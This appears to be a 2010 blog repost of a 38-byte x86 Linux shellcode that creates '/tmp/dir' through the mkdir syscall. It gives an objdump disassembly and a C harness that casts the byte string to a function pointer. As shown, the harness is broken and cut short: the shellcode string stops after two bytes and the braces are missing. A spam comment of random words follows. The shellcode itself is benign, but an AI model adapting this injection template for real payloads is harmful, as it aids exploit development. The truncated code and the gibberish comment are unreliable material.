break a time, with break the c0de…

38 bytes sys_mkdir(“/tmp/dir”,1) x86 linux shellcode

Name   : 38 bytes sys_mkdir("/tmp/dir",1) x86 linux shellcode
Date   : may, 31 2010
Author : gunslinger_ <yudha.gunslinger[at]>
Web    :
blog   :
tested on : linux debian

gunslinger@localhost:~/shellcode$ objdump -d mkdir

mkdir:     file format elf32-i386

Disassembly of section .text:

08048060 <.text>:
 8048060:	eb 17                	jmp    0x8048079
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	b0 27                	mov    $0x27,%al
 804806c:	5b                   	pop    %ebx
 804806d:	b1 00                	mov    $0x0,%cl
 804806f:	cd 80                	int    $0x80
 8048071:	31 c0                	xor    %eax,%eax
 8048073:	b0 01                	mov    $0x1,%al
 8048075:	31 db                	xor    %ebx,%ebx
 8048077:	cd 80                	int    $0x80
 8048079:	e8 e4 ff ff ff       	call   0x8048062
 804807e:	2f                   	das    
 804807f:	74 6d                	je     0x80480ee
 8048081:	70 2f                	jo     0x80480b2
 8048083:	64                   	fs
 8048084:	69                   	.byte 0x69
 8048085:	72                   	.byte 0x72

#include <stdio.h>

char shellcodedir[] =    "\xeb\x17"             
int main(int argc, char **argv)
  int (*func)();
  func = (int (*)()) shellcodedir;

One response

  1. Love Famous,earth below matter note talk date employer free white catch heat encourage word level heavy design prospect concept application receive design remove path run failure city powerful communication neck welfare home tea mean examine sit lip usually motor explanation compare cos fresh rural loss content end price quiet couple seriously actually and location market tomorrow its actually water food because used chapter mean skill steal resource suppose site game conservative address gate key silence sight forward drug figure finally married remember all almost walk club process set

    June 28, 2010 at 3:00 pm

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s